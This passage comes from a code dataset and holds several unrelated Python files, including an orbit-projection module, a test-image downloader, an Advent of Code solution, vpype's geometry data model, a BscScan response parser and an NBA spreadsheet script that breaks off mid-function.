coords_cart_rotated = np.array(self.M @ x_a.T).T\n \n logger.debug(\"Performing gnomonic projection...\")\n gnomonic_coords = cartesianToGnomonic(coords_cart_rotated)\n \n\n observations[\"obj_x\"] = x_a[:, 0]\n observations[\"obj_y\"] = x_a[:, 1]\n observations[\"obj_z\"] = x_a[:, 2]\n observations[\"theta_x_deg\"] = np.degrees(gnomonic_coords[:, 0])\n observations[\"theta_y_deg\"] = np.degrees(gnomonic_coords[:, 1])\n observations[\"test_obj_x\"] = self.elements[0]\n observations[\"test_obj_y\"] = self.elements[1]\n observations[\"test_obj_z\"] = self.elements[2]\n observations[\"test_obj_vx\"] = self.elements[3]\n observations[\"test_obj_vy\"] = self.elements[4]\n observations[\"test_obj_vz\"] = self.elements[5]\n\n return \n\n def applyToEphemeris(self, ephemeris):\n \"\"\"\n Apply the prepared rotations to the given ephemerides. Adds the gnomonic \n plane coordinates to observations (columns: theta_x_deg, theta_y_deg, vtheta_x, and vtheta_y) \n \n Parameters\n ----------\n ephemeris : `~pandas.DataFrame`\n DataFrame of ephemeris generated by a THOR backend defined at the same epoch as this test orbit, \n to project into the test orbit's frame.\n \n Returns\n -------\n None\n \"\"\"\n coords_cart = ephemeris[[\"obj_x\", \"obj_y\", \"obj_z\", \"obj_vx\", \"obj_vy\", \"obj_vz\"]].values\n coords_cart_rotated = np.zeros_like(coords_cart)\n \n logger.debug(\"Applying rotation matrix M to heliocentric object position vector...\")\n coords_cart_rotated[:, :3] = np.array(self.M @ coords_cart[:, :3].T).T\n\n logger.debug(\"Applying rotation matrix M to heliocentric object velocity vector...\")\n # Calculate relative velocity, then rotate to projected frame\n coords_cart[:, 3:] = coords_cart[:, 3:] - self.elements[3:].reshape(1, -1)\n coords_cart_rotated[:, 3:] = np.array(self.M @ coords_cart[:, 3:].T).T\n \n logger.debug(\"Performing gnomonic projection...\")\n gnomonic_coords = cartesianToGnomonic(coords_cart_rotated)\n \n ephemeris[\"theta_x_deg\"] = np.degrees(gnomonic_coords[:, 0])\n ephemeris[\"theta_y_deg\"] = np.degrees(gnomonic_coords[:, 1])\n ephemeris[\"vtheta_x_deg\"] = np.degrees(gnomonic_coords[:, 2])\n ephemeris[\"vtheta_y_deg\"] = np.degrees(gnomonic_coords[:, 3])\n ephemeris[\"test_obj_x\"] = self.elements[0]\n ephemeris[\"test_obj_y\"] = self.elements[1]\n ephemeris[\"test_obj_z\"] = self.elements[2]\n ephemeris[\"test_obj_vx\"] = self.elements[3]\n ephemeris[\"test_obj_vy\"] = self.elements[4]\n ephemeris[\"test_obj_vz\"] = self.elements[5]\n\n return ","sub_path":"thor/orbit.py","file_name":"orbit.py","file_ext":"py","file_size_in_byte":7415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"98098819","text":"import os\nfrom getpass import getpass\nfrom functools import partial\n\nimport requests\nimport asyncio\n\n\nbase_url = 'https://raw.githubusercontent.com/madmaze/pytesseract/master/tests/data/'\n\ngithub_user = os.environ.get('GITHUB_USER') or input('Enter github user')\ngithub_pwd = getpass(f'Enter pwd for {github_user}')\n\nimages = [\n 'test' + '.' + ext\n for ext in ('jpg', 'png', 'gif', 'ppm', 'tiff', 'bmp', 'pgm')\n]\n\n\ndef make_data_directory(dirname='data'):\n curdir = os.path.abspath(os.path.dirname(__file__))\n data_dir = os.path.join(curdir, dirname)\n if not os.path.exists(data_dir):\n os.mkdir(data_dir)\n\n\n@asyncio.coroutine\ndef download_image(filename):\n url = base_url + filename\n data_dir = os.path.abspath(os.path.join(\n os.path.dirname(__file__),\n 'data',\n filename\n ))\n loop = asyncio.get_event_loop()\n future = loop.run_in_executor(None,\n partial(requests.get, auth=(github_user, github_pwd)), url)\n res = yield from future\n with open(data_dir, 'wb') as f:\n f.write(res.content)\n\n\nasync def main():\n make_data_directory()\n for image in images:\n await download_image(image)\n\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n try:\n loop.run_until_complete(main())\n except Exception as e:\n print(e)\n loop.close()\n\n loop.close()\n","sub_path":"test/download_test_data.py","file_name":"download_test_data.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"49789042","text":"import textwrap\nimport string\n\n\nclass AnswerGroup(object):\n def __init__(self, s: str):\n self.num_people = 0\n self.answers = []\n for line in s.splitlines():\n self.num_people += 1\n self.answers.append(line)\n\n def num_all_yes(self):\n yeses = dict()\n for c in string.ascii_lowercase:\n yeses[c] = True\n for s in self.answers:\n for c in string.ascii_lowercase:\n if c not in s:\n yeses[c] = False\n num = sum([1 if v else 0 for v in yeses.values()])\n return num\n\n def num_any_yes(self):\n yeses = dict()\n for c in string.ascii_lowercase:\n yeses[c] = False\n for s in self.answers:\n for c in string.ascii_lowercase:\n if c in s:\n yeses[c] = True\n num = sum([1 if v else 0 for v in yeses.values()])\n return num\n\n\ndef get_test_input() -> str:\n return textwrap.dedent(\"\"\"\\\n abc\n \n a\n b\n c\n \n ab\n ac\n \n a\n a\n a\n a\n \n b\"\"\")\n\n\ndef read_input(day_number, test=False):\n if test:\n return parse_input(get_test_input())\n else:\n filename = 'input/dec{}.txt'.format(day_number)\n with open(filename, 'r') as file:\n return parse_input(file.read())\n\n\ndef parse_input(s: str):\n data = []\n for group in s.split('\\n\\n'):\n data.append(AnswerGroup(group))\n return data\n\n\ndef part_1(data):\n total = 0\n for group in data:\n total += group.num_any_yes()\n print('Part 1:', total)\n\n\ndef part_2(data):\n total = 0\n for group in data:\n total += group.num_all_yes()\n print('Part 2:', total)\n\n\ndef main():\n data = read_input(day_number=6, test=False)\n part_1(data)\n part_2(data)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"2020/day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"199189863","text":"\"\"\"Implementation of vpype's data model\n\"\"\"\nimport logging\nimport math\nfrom typing import Callable, Dict, Iterable, Iterator, List, Optional, Tuple, Union, cast\n\nimport numpy as np\nfrom shapely.geometry import LinearRing, LineString, MultiLineString\n\nfrom .geometry import crop, reloop\nfrom .line_index import LineIndex\n\n# REMINDER: anything added here must be added to docs/api.rst\n__all__ = [\n \"LineCollection\",\n \"Document\",\n \"LineLike\",\n \"LineCollectionLike\",\n \"as_vector\",\n # deprecated:\n \"VectorData\",\n]\n\nLineLike = Union[LineString, LinearRing, Iterable[complex]]\n\n# We accept LineString and LinearRing as line collection because MultiLineString are regularly\n# converted to LineString/LinearRing when operation reduce them to single-line construct.\nLineCollectionLike = Union[\n Iterable[LineLike], MultiLineString, \"LineCollection\", LineString, LinearRing\n]\n\n\ndef as_vector(a: np.ndarray):\n \"\"\"Return a view of a complex line array that behaves as an Nx2 real array\"\"\"\n return a.view(dtype=float).reshape(len(a), 2)\n\n\n# noinspection PyShadowingNames\nclass LineCollection:\n \"\"\"\n :py:class:`LineCollection` encapsulate a list of piecewise linear lines (or paths). Lines\n are implemented as 1D numpy arrays of complex numbers whose real and imaginary parts\n represent the X, respectively Y, coordinates of point in the paths.\n\n An instance of :py:class:`LineCollection` is used to model a single layer in vpype's\n :ref:`pipeline `. The complete pipeline is modelled by a\n :py:class:`Document` instance, which essentially is a mapping of ``int`` (layer ID) to\n :py:class:`LineCollection`.\n\n Although the actual ``list`` is stored as private data member in :py:class:`LineCollection`\n instances, the class provides a sequence API similar to ``list``::\n\n >>> import vpype, numpy as np\n >>> lc = vpype.LineCollection()\n >>> lc.append(np.array([0, 10. + 10.j]))\n >>> lc.append(np.array([10.j, 5. + 5.j]))\n >>> len(lc)\n 2\n >>> lc[0]\n array([ 0. +0.j, 10.+10.j])\n >>> for line in lc:\n ... print(repr(line))\n ...\n array([ 0. +0.j, 10.+10.j])\n array([0.+10.j, 5. +5.j])\n\n In addition to Numpy arrays, the class accepts paths expressed in a variety of format\n including Python ``list`` or Shapely objects::\n\n >>> from shapely.geometry import LineString, LinearRing, MultiLineString\n >>> lc = vpype.LineCollection()\n >>> lc.append([5, 5+5j])\n >>> lc.append(LineString([(1, 1), (3, 2)]))\n >>> lc.append(LinearRing([(0, 0), (1, 0), (1, 1), (0, 1)]))\n >>> lc.extend(MultiLineString([[(0, 0), (10, 0)], [(4, 4), (0, 4)]]))\n >>> lc\n LineCollection([array([5.+0.j, 5.+5.j]), array([1.+1.j, 3.+2.j]), array([0.+0.j,\n 1.+0.j, 1.+1.j, 0.+1.j, 0.+0.j]), array([ 0.+0.j, 10.+0.j]), array([4.+4.j, 0.+4.j])])\n\n Instances can also be converted to Shapely's MultiLineString:\n\n >>> mls = lc.as_mls()\n >>> print(mls)\n MULTILINESTRING ((5 0, 5 5), (1 1, 3 2), (0 0, 1 0, 1 1, 0 1, 0 0), (0 0, 10 0),\n (4 4, 0 4))\n\n Finally, :py:class:`LineCollection` implements a number of operations such as geometrical\n transformation, cropping, merging, etc. (see member function documentation for details).\n \"\"\"\n\n def __init__(self, lines: LineCollectionLike = ()):\n \"\"\"Create a LineCollection instance from an iterable of lines.\n\n Args:\n lines (LineCollectionLike): iterable of line (accepts the same input as\n :func:`~LineCollection.append`).\n \"\"\"\n self._lines: List[np.ndarray] = []\n\n self.extend(lines)\n\n @property\n def lines(self) -> List[np.ndarray]:\n \"\"\"Returns the list of line.\n\n Returns:\n list of line\n \"\"\"\n return self._lines\n\n def append(self, line: LineLike) -> None:\n \"\"\"Append a single line.\n\n This function accepts an iterable of complex or a Shapely geometry\n (:py:class:`LineString` or :py:class:`LinearRing`).\n\n Args:\n line (LineLike): line to append\n \"\"\"\n if isinstance(line, (LineString, LinearRing)):\n # noinspection PyTypeChecker\n self._lines.append(np.array(line.coords).view(dtype=complex).reshape(-1))\n else:\n line = np.array(line, dtype=complex).reshape(-1)\n if len(line) > 1:\n self._lines.append(line)\n\n def extend(self, lines: LineCollectionLike) -> None:\n \"\"\"Append lines from a collection.\n\n This function accepts an iterable of iterable of complex, another\n :py:class:`LineCollection` instance, or a Shapely geometry\n (:py:class:`MultiLineString`, :py:class:`LineString` or :py:class:`LinearRing`).\n\n Shapely's LineString and LinearRing are occasionally obtained when a MultiLineString is\n actually expected. As a result, they are accepted as input even though they are not,\n strictly speaking, a line collection.\n\n Args:\n lines (LineCollectionLike): lines to append\n \"\"\"\n\n if hasattr(lines, \"geom_type\") and lines.is_empty: # type: ignore\n return\n\n # handle shapely objects\n if isinstance(lines, MultiLineString):\n lines = lines.geoms\n elif isinstance(lines, (LineString, LinearRing)):\n lines = [lines]\n\n for line in lines:\n self.append(line)\n\n def is_empty(self) -> bool:\n \"\"\"Check for emptiness.\n\n Returns:\n True if the instance does not contain any line, False otherwise.\n \"\"\"\n return len(self) == 0\n\n def reverse(self) -> None:\n \"\"\"Reverse order of the lines.\"\"\"\n self._lines = list(reversed(self._lines))\n\n def __iter__(self):\n return self._lines.__iter__()\n\n def __len__(self) -> int:\n return len(self._lines)\n\n def __getitem__(self, item: Union[int, slice]):\n return self._lines[item]\n\n def __repr__(self):\n return f\"LineCollection({self._lines})\"\n\n def as_mls(self) -> MultiLineString:\n \"\"\"Converts the LineCollection to a :py:class:`MultiLineString`.\n\n Returns:\n a MultiLineString Shapely object\n \"\"\"\n return MultiLineString([as_vector(line) for line in self.lines])\n\n def translate(self, dx: float, dy: float) -> None:\n \"\"\"Translates all line by a given offset.\n\n Args:\n dx: offset along X axis\n dy: offset along Y axis\n \"\"\"\n c = complex(dx, dy)\n for line in self._lines:\n line += c\n\n def scale(self, sx: float, sy: Optional[float] = None) -> None:\n \"\"\"Scale the geometry.\n\n The scaling is performed about the coordinates origin (0, 0). To scale around a\n specific location, appropriate translations must be performed before and after the\n scaling::\n\n >>> import vpype\n >>> lc = vpype.LineCollection([(-1+1j, 1+1j)])\n >>> lc.translate(0, -1)\n >>> lc.scale(1.2)\n >>> lc.translate(0, 1)\n >>> lc\n LineCollection([array([-1.2+1.j, 1.2+1.j])])\n\n Args:\n sx: scale factor along x\n sy: scale factor along y (if None, then sx is used)\n \"\"\"\n if sy is None:\n sy = sx\n\n for line in self._lines:\n line.real *= sx\n line.imag *= sy\n\n def rotate(self, angle: float) -> None:\n \"\"\"Rotates the geometry by ``angle`` amount.\n\n The angle is expressed in radian. Positive value rotate clockwise.\n\n The rotation is performed about the coordinates origin (0, 0). To rotate around a\n specific location, appropriate translations must be performed before and after the\n scaling::\n\n >>> import vpype\n >>> lc = vpype.LineCollection([(-1+1j, 1+1j)])\n >>> lc.translate(0, -1)\n >>> lc.rotate(1.2)\n >>> lc.translate(0, 1)\n\n Args:\n angle: rotation angle in rad\n \"\"\"\n c = complex(math.cos(angle), math.sin(angle))\n for line in self._lines:\n line *= c\n\n def skew(self, ax: float, ay: float) -> None:\n \"\"\"Skew the geometry by some angular amounts along X and Y axes.\n\n The angle is expressed in radians.\n\n The skew is performed about the coordinates origin (0, 0). To rotate around a\n specific location, appropriate translations must be performed before and after the\n scaling::\n\n >>> import vpype\n >>> lc = vpype.LineCollection([(-1+1j, 1+1j)])\n >>> lc.translate(0, -1)\n >>> lc.skew(0., 1.2)\n >>> lc.translate(0, 1)\n\n Args:\n ax: skew angle in rad along X axis\n ay: skew angle in rad along Y axis\n \"\"\"\n tx, ty = math.tan(ax), math.tan(ay)\n for line in self._lines:\n line += tx * line.imag + 1j * ty * line.real\n\n def reloop(self, tolerance: float) -> None:\n \"\"\"Randomizes the seam of closed paths. Paths are considered closed when their first\n and last point are closer than *tolerance*.\n\n :param tolerance: tolerance to determine if a path is closed\n \"\"\"\n\n for i, line in enumerate(self._lines):\n delta = line[-1] - line[0]\n if np.hypot(delta.real, delta.imag) <= tolerance:\n self._lines[i] = reloop(line)\n\n def crop(self, x1: float, y1: float, x2: float, y2: float) -> None:\n \"\"\"Crop all lines to a rectangular area.\n\n Args:\n x1, y1: first corner of the crop area\n x2, y2: second corner of the crop area\n \"\"\"\n\n if x1 > x2:\n x1, x2 = x2, x1\n if y1 > y2:\n y1, y2 = y2, y1\n\n if x1 == x2 or y1 == y2:\n self._lines = []\n else:\n new_lines = []\n for line in self._lines:\n new_lines.extend(crop(line, x1, y1, x2, y2))\n self._lines = new_lines\n\n def filter(self, key: Callable[[np.ndarray], bool]) -> None:\n \"\"\"Remove lines from the :class:`LineCollection` for which key returns False.\n\n Args:\n key: filter (returns True if the line should be kept or False otherwise)\n \"\"\"\n self._lines = [line for line in self._lines if key(line)]\n\n def merge(self, tolerance: float, flip: bool = True) -> None:\n \"\"\"Merge lines whose endings overlap or are very close.\n\n Args:\n tolerance: max distance between line ending that may be merged\n flip: allow flipping line direction for further merging\n \"\"\"\n if len(self) < 2:\n return\n\n index = LineIndex(self.lines, reverse=flip)\n new_lines = LineCollection()\n\n while len(index) > 0:\n line = index.pop_front()\n\n # we append to `line` until we dont find anything to add\n while True:\n idx, reverse = index.find_nearest_within(line[-1], tolerance)\n if idx is None and flip:\n idx, reverse = index.find_nearest_within(line[0], tolerance)\n line = np.flip(line)\n if idx is None:\n break\n new_line = cast(np.ndarray, index.pop(idx))\n if reverse:\n new_line = np.flip(new_line)\n line = np.hstack([line, new_line])\n\n new_lines.append(line)\n\n self._lines = new_lines._lines\n\n def bounds(self) -> Optional[Tuple[float, float, float, float]]:\n \"\"\"Returns the geometries' bounding box.\n\n Returns:\n tuple (xmin, ymin, xmax, ymax) for the bounding box or None if the LineCollection\n is empty\n \"\"\"\n if len(self._lines) == 0:\n return None\n else:\n return (\n float(min((line.real.min() for line in self._lines))),\n float(min((line.imag.min() for line in self._lines))),\n float(max((line.real.max() for line in self._lines))),\n float(max((line.imag.max() for line in self._lines))),\n )\n\n def width(self) -> float:\n \"\"\"Returns the total width of the geometries.\n\n Returns:\n the width (xmax - xmin) or 0.0 if the LineCollection is empty\n \"\"\"\n\n if self._lines:\n return float(\n max((line.real.max() for line in self._lines))\n - min((line.real.min() for line in self._lines))\n )\n else:\n return 0.0\n\n def height(self) -> float:\n \"\"\"Returns the total height of the geometries.\n\n Returns:\n the width (ymax - ymin) or 0.0 if the LineCollection is empty\n \"\"\"\n if self._lines:\n return float(\n max((line.imag.max() for line in self._lines))\n - min((line.imag.min() for line in self._lines))\n )\n else:\n return 0.0\n\n def length(self) -> float:\n \"\"\"Return the total length of the paths.\n\n Returns:\n the total length\n \"\"\"\n return sum(np.sum(np.abs(np.diff(line))) for line in self._lines)\n\n def pen_up_trajectories(self) -> \"LineCollection\":\n \"\"\"Returns a LineCollection containing the pen-up trajectories.\"\"\"\n return LineCollection(\n ([self._lines[i][-1], self._lines[i + 1][0]] for i in range(len(self._lines) - 1)),\n )\n\n def pen_up_length(self) -> Tuple[float, float, float]:\n \"\"\"Returns statistics on the pen-up distance corresponding to the path.\n\n The total, mean, and median distance are returned. The pen-up distance is the distance\n between a path's end and the next path's beginning.\n\n Returns:\n tuple (total, mean, median) for the pen-up distances\n \"\"\"\n if len(self.lines) < 2:\n return 0.0, 0.0, 0.0\n\n ends = np.array([line[-1] for line in self.lines[:-1]])\n starts = np.array([line[0] for line in self.lines[1:]])\n dists = np.abs(starts - ends)\n # noinspection PyTypeChecker\n return float(np.sum(dists)), float(np.mean(dists)), float(np.median(dists))\n\n def segment_count(self) -> int:\n \"\"\"Returns the total number of segment across all lines.\n\n Returns:\n the total number of segments in the geometries\n \"\"\"\n return sum(max(0, len(line) - 1) for line in self._lines)\n\n\nclass Document:\n \"\"\"This class is the core data model of vpype and represent the data that is passed from\n one command to the other. At its core, a Document is a collection of layers identified\n by non-zero positive integers and each represented by a :py:class:`LineCollection`.\n\n In addition, the Document class maintains a :py:attr:`page_size` attribute which describe\n the physical size of the document. This attribute is not strictly linked to the actual\n Document's content, but can be set based on it.\n \"\"\"\n\n def __init__(\n self,\n line_collection: LineCollection = None,\n page_size: Optional[Tuple[float, float]] = None,\n ):\n \"\"\"Create a Document, optionally providing a :py:class:`LayerCollection` for layer 1.\n\n Args:\n line_collection: if provided, used as layer 1\n \"\"\"\n self._layers: Dict[int, LineCollection] = {}\n self._page_size: Optional[Tuple[float, float]] = page_size\n\n if line_collection:\n self.add(line_collection, 1)\n\n def empty_copy(self) -> \"Document\":\n \"\"\"Create an empty copy of this document with the same page size.\"\"\"\n return Document(page_size=self.page_size)\n\n @property\n def layers(self) -> Dict[int, LineCollection]:\n \"\"\"Returns a reference to the layer dictionary.\n Returns:\n the internal layer dictionary\n \"\"\"\n return self._layers\n\n @property\n def page_size(self) -> Optional[Tuple[float, float]]:\n \"\"\"Returns the page size or None if it hasn't been set.\"\"\"\n return self._page_size\n\n @page_size.setter\n def page_size(self, page_size=Optional[Tuple[float, float]]) -> None:\n \"\"\"Sets the page size to a new value.\"\"\"\n self._page_size = page_size\n\n def extend_page_size(self, page_size: Optional[Tuple[float, float]]) -> None:\n \"\"\"Adjust the page sized according to the following logic:\n\n - if ``page_size`` is None, the the page size is unchanged\n - if ``self.page_size`` is None, it is set to ``page_size``\n - if both page sizes are not None, the page size is set to the largest value in\n both direction\n\n Args:\n page_size: page dimension to use to update ``self.page_size``\n \"\"\"\n if page_size:\n if self.page_size:\n self.page_size = (\n max(self.page_size[0], page_size[0]),\n max(self.page_size[1], page_size[1]),\n )\n else:\n self.page_size = page_size\n\n def ids(self) -> Iterable[int]:\n \"\"\"Returns the list of layer IDs\"\"\"\n return self._layers.keys()\n\n def layers_from_ids(self, layer_ids: Iterable[int]) -> Iterator[LineCollection]:\n \"\"\"Returns an iterator that yield layers corresponding to the provided IDs, provided\n they exist. This is typically used to process a command's layer list option, in\n combination with :py:func:`multiple_to_layer_ids`.\n\n Non-existent layer IDs in the input are ignored.\n\n Args:\n layer_ids: iterable of layer IDs\n\n Returns:\n layer iterator\n \"\"\"\n return (self._layers[lid] for lid in layer_ids if lid in self._layers)\n\n def exists(self, layer_id: int) -> bool:\n \"\"\"Test existence of a layer.\n\n Note that existence of a layer does not necessarily imply that it isn't empty.\n\n Args:\n layer_id: layer ID to test\n\n Returns:\n True if the layer ID exists\n \"\"\"\n return layer_id in self._layers\n\n def __getitem__(self, layer_id: int):\n return self._layers.__getitem__(layer_id)\n\n def __setitem__(self, layer_id: int, value: LineCollectionLike):\n if layer_id < 1:\n raise ValueError(f\"expected non-null, positive layer id, got {layer_id} instead\")\n\n if isinstance(value, LineCollection):\n self._layers[layer_id] = value\n else:\n self._layers[layer_id] = LineCollection(value)\n\n def free_id(self) -> int:\n \"\"\"Returns the lowest unused layer id.\n\n Returns:\n the unused layer ID\n \"\"\"\n vid = 1\n while vid in self._layers:\n vid += 1\n return vid\n\n def add(self, lc: LineCollection, layer_id: Union[None, int] = None) -> None:\n \"\"\"Add a the content of a :py:class:`LineCollection` to a given layer.\n\n If the given layer is None, the input LineCollection is used to create a new layer\n using the lowest available layer ID.\n \"\"\"\n if layer_id is None:\n layer_id = 1\n while layer_id in self._layers:\n layer_id += 1\n\n if layer_id in self._layers:\n self._layers[layer_id].extend(lc)\n else:\n self._layers[layer_id] = lc\n\n def extend(self, doc: \"Document\") -> None:\n \"\"\"Extend a Document with the content of another Document.\n\n The layer structure of the source Document is maintained and geometries are either\n appended to the destination's corresponding layer or new layers are created, depending\n on if the layer existed or not in the destination Document.\n\n The :py:attr:`page_size` attribute is adjusted using :meth:`extend_page_size`.\n\n Args:\n doc: source Document\n \"\"\"\n\n self.extend_page_size(doc.page_size)\n\n for layer_id, layer in doc.layers.items():\n self.add(layer, layer_id)\n\n def is_empty(self) -> bool:\n \"\"\"Returns True if all layers are empty.\n\n Returns:\n True if all layers are empty\"\"\"\n for layer in self.layers.values():\n if not layer.is_empty():\n return False\n return True\n\n def pop(self, layer_id: int) -> LineCollection:\n \"\"\"Removes a layer from the Document.\n\n Args:\n layer_id: ID of the layer to be removed\n\n Returns:\n the :py:class:`LineCollection` corresponding to the removed layer\n \"\"\"\n return self._layers.pop(layer_id)\n\n def count(self) -> int:\n \"\"\"Returns the total number of layers.\n\n Returns:\n total number of layer\"\"\"\n return len(self._layers.keys())\n\n def translate(self, dx: float, dy: float) -> None:\n \"\"\"Translates all line by a given offset.\n\n Args:\n dx: offset along X axis\n dy: offset along Y axis\n \"\"\"\n for layer in self._layers.values():\n layer.translate(dx, dy)\n\n def scale(self, sx: float, sy: Optional[float] = None) -> None:\n \"\"\"Scale the geometry.\n\n The scaling is performed about the coordinates origin (0, 0). To scale around a\n specific location, appropriate translations must be performed before and after the\n scaling (see :func:`LineCollection.scale`).\n\n Args:\n sx: scale factor along x\n sy: scale factor along y (if None, then sx is used)\n \"\"\"\n for layer in self._layers.values():\n layer.scale(sx, sy)\n\n def rotate(self, angle: float) -> None:\n \"\"\"Rotate the Document's content..\n\n The rotation is performed about the coordinates origin (0, 0). To rotate around a\n specific location, appropriate translations must be performed before and after the\n scaling (see :func:`LineCollection.rotate`).\n\n Args:\n angle: rotation angle (radian)\n \"\"\"\n for layer in self._layers.values():\n layer.rotate(angle)\n\n def bounds(\n self, layer_ids: Union[None, Iterable[int]] = None\n ) -> Optional[Tuple[float, float, float, float]]:\n \"\"\"Compute bounds of the document.\n\n If layer_ids is provided, bounds are computed only for the corresponding IDs.\n\n Note: the bounds are computed based on the actual geometries contained in this\n :class:`Document` instance. The document's page size, if any, is not taken into account\n by this calculation.\n\n Args:\n layer_ids: layers to consider in the bound calculation\n\n Returns:\n boundaries of the geometries\n \"\"\"\n if layer_ids is None:\n layer_ids = self.ids()\n a = np.array(\n [\n self._layers[vid].bounds()\n for vid in layer_ids\n if self.exists(vid) and len(self._layers[vid]) > 0\n ]\n )\n if len(a) > 0:\n return a[:, 0].min(), a[:, 1].min(), a[:, 2].max(), a[:, 3].max()\n else:\n return None\n\n def crop(self, x1: float, y1: float, x2: float, y2: float) -> None:\n \"\"\"Crop all layers to a rectangular area.\n\n Args:\n x1, y1: first corner of the crop area\n x2, y2: second corner of the crop area\n \"\"\"\n for layer in self._layers.values():\n layer.crop(x1, y1, x2, y2)\n\n def fit_page_size_to_content(self) -> None:\n \"\"\"Set :py:attr:`page_size` to the current geometries' width and height and move\n the geometries so that their bounds align to (0, 0).\n \"\"\"\n bounds = self.bounds()\n if not bounds:\n return\n\n self.translate(-bounds[0], -bounds[1])\n self.page_size = (bounds[2] - bounds[0], bounds[3] - bounds[1])\n\n def length(self) -> float:\n \"\"\"Return the total length of the paths.\n\n Returns:\n the total length\n \"\"\"\n return sum(layer.length() for layer in self._layers.values())\n\n def pen_up_length(self) -> float:\n \"\"\"Returns the total pen-up distance corresponding to the path.\n\n This function does not account for the pen-up distance between layers.\n\n Returns:\n total pen-up distances\n \"\"\"\n return sum(layer.pen_up_length()[0] for layer in self._layers.values())\n\n def segment_count(self) -> int:\n \"\"\"Returns the total number of segment across all lines.\n\n Returns:\n the total number of segments in the geometries\n \"\"\"\n return sum(layer.segment_count() for layer in self._layers.values())\n\n\nclass VectorData(Document):\n \"\"\"Deprecated, use Document.\"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n logging.warning(\"!!! `vpype.VectorData` is deprecated, use `vpype.Document` instead.\")\n","sub_path":"vpype/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":24996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"487914915","text":"import requests\n\n\nclass ResponseParser:\n @staticmethod\n def parse(response: requests.Response):\n content = response.json()\n result = content[\"result\"]\n status = bool(int(content[\"status\"]))\n message = content[\"message\"]\n if not status:\n raise AssertionError(f\"{result} -- {message}\")\n return result\n","sub_path":"bscscan/utils/parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"550597699","text":"#!/usr/bin/python\n\"\"\"Author:\n Xie Jialiang\nDate:\n 2013-11-14\nUsage:\n python calculateGLR.py [parameters file] [dictionary of predictors]\nOutput:\n GLR response\n\"\"\"\n\nfrom sys import argv\n\nclass GLR(object):\n \"\"\"General Linear Regression.\"\"\"\n \n def __init__(self):\n self._parameters = {}\n\n def read_parameters_from_file(self, parameters_file):\n \"\"\"Read model parameters from file.\"\"\"\n \n self._parameters = {}\n in_file = open(parameters_file, 'r')\n for line in in_file:\n fields = line.sep(';')\n self.parameters[fields[0]] = float(fields[1])\n in_file.close()\n \n def parse_predictors_string(self, predictors_string):\n \"\"\"Parse predictors in string into dictionary.\"\"\"\n\n result = {}\n predictors = predictors_string.split(';')\n for predictor in predictors:\n fields = predictor.split(\":\")\n result[fields[0]] = float(fields[1])\n return result\n\n def calculate_response(self, predictors_dict):\n \"\"\"Calculate the response by predictors and parameters.\"\"\"\n\n result = 0.0\n for predictor in predictors_dict:\n if not predictor in self._parameters:\n continue\n result += predictors_dict[predictor] * self._parameters[predictor]\n return result\n","sub_path":"server/bin/application/calculateGLR.py","file_name":"calculateGLR.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"218775806","text":"import csv, sys, random, math\n\n\ndef solve(cur_case, input_line):\n input_len = len(input_line.rstrip('\\n'))\n count = 0\n \n for i in xrange(input_len - 1):\n if input_line[i] != input_line[i + 1]:\n count += 1\n if input_line[input_len - 1] == '-':\n count += 1\n return count\n \n\ntarget = open(\"prob2_output_large.txt\", 'w')\nwith open('large2.txt','r') as f:\n T = int(f.readline()) \n for i in xrange(T):\n input_line = str(f.readline())\n case_num = str(i+1)\n sol_str = 'Case #' + case_num + ': ' + str( solve(i + 1,input_line) ) + '\\n'\n target.write( str(sol_str) )\n \n \n\n\n\n\n\n\n","sub_path":"codes/CodeJamCrawler/CJ/16_0_2_abejnood_prob2_2.py","file_name":"16_0_2_abejnood_prob2_2.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"202147570","text":"import openpyxl\nfrom openpyxl import load_workbook\nimport os\nfrom datetime import date\nos.chdir('c:\\\\PythonScripts\\\\Excel')\n\nwb = load_workbook('Team_Stats_Raw.xlsx')\n\nteamIDs ={\n 1610612737: 'ATL',\n 1610612738: 'BOS',\n 1610612751: 'BKN',\n 1610612766: 'CHA',\n 1610612741: 'CHI',\n 1610612739: 'CLE',\n 1610612742: 'DAL',\n 1610612743: 'DEN',\n 1610612765: 'DET',\n 1610612744: 'GSW',\n 1610612745: 'HOU',\n 1610612754: 'IND',\n 1610612746: 'LAC',\n 1610612747: 'LAL',\n 1610612763: 'MEM',\n 1610612748: 'MIA',\n 1610612749: 'MIL',\n 1610612750: 'MIN',\n 1610612740: 'NOP',\n 1610612752: 'NYK',\n 1610612760: 'OKC',\n 1610612753: 'ORL',\n 1610612755: 'PHI',\n 1610612756: 'PHX',\n 1610612757: 'POR',\n 1610612758: 'SAC',\n 1610612759: 'SAS',\n 1610612761: 'TOR',\n 1610612762: 'UTA',\n 1610612764: 'WAS'\n }\n\n\ndef getOpponentAvgORTG(todaysGames):\n allRTGs = {}\n for i in todaysGames:\n homeTeam = i[3:7]\n awayTeam = i[0:3]\n games= []\n games.append(awayTeam)\n games.append(homeTeam)\n for t in games:\n row_cell =2\n tab = wb.get_sheet_by_name(t)\n row_max = tab.max_row\n hometeam_oppRTG = []\n awayteam_oppRTG = []\n for j in range(row_max -1):\n tab = wb.get_sheet_by_name(t)\n row_max = tab.max_row\n location = tab.cell(row = row_cell, column = 8).value\n if location == 'Home':\n oppID = tab.cell(row = row_cell, column = 6).value\n opp = teamIDs[oppID]\n tab = wb.get_sheet_by_name('ORTG')\n summary_max_row = tab.max_row\n summary_row_cell = 2\n summary_column_cell = 